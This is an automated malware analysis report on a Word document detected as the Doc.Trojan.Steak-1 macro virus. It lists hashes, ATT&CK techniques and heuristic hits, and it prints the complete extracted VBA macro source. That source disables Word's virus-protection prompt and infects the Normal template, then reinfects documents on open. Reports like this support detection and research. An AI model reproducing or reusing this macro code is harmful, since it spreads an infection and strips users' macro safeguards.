Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eec7bcf6be88588b…

MALICIOUS

Office (OLE)

35.5 KB Created: 1999-06-08 16:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 62f30355954f9bdc8b90603644dbd857 SHA-1: 18b601e70cc0f985744ccb0e23988db32346d04a SHA-256: eec7bcf6be88588bce8ac98114e0c6d240e9e4f137573b7d13965fc84696cbab
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro that executes upon document close. This macro exports the macro code to 'c:\A1.sys' and then creates a new macro in 'c:\A1.inf' which is subsequently added to the document. This process likely aims to modify the document's behavior or establish persistence by altering its macro components. The presence of a 'Document_Open' macro in the generated 'c:\A1.inf' suggests an attempt to execute code when the document is opened.

Heuristics 3

  • ClamAV: Doc.Trojan.Steak-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Steak-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1206 bytes
SHA-256: d9a8e5e01d88dc149800c7f6dad051c0ad73b693b7d68f8d2cd9eb0ccdf32d2c
Detection
ClamAV: Doc.Trojan.Steak-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Options.VirusProtection = (0 - 0): Options.ConfirmConversions = (1 - 1): Options.SaveNormalPrompt = (2 - 2)
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\A1.sys"
Set A1 = NormalTemplate.VBProject.VBComponents.Item(1)
A1.Codemodule.Deletelines 1, A1.Codemodule.CountOfLines
Open "c:\A1.inf" For Output As #1
Print #1, "Private Sub Document_Open()"
Print #1, "Set A1 = ActiveDocument.VBProject.VBComponents.Item(1)"
Print #1, "A1.Codemodule.Deletelines 1, A1.Codemodule.CountOfLines"
Print #1, "A1.Codemodule.AddFromFile (" & Chr(34) & "c:\A1.sys" & Chr(34) & ")"
Print #1, "A1.Codemodule.Deletelines 1, 4"
Print #1, "End Sub"
Close #1
A1.Codemodule.AddFromFile ("c:\A1.inf")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
'*.,.*.,.*.,.*.,.*.,.*.,.*.,.*.,.*.,.*'
'*~~A.1.~Steak~Sauce:~By~Lys~KovicK~~*'
'*~~~~~~~(Phixed~Publik~Kopie)~~~~~~~*'
'*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*;*'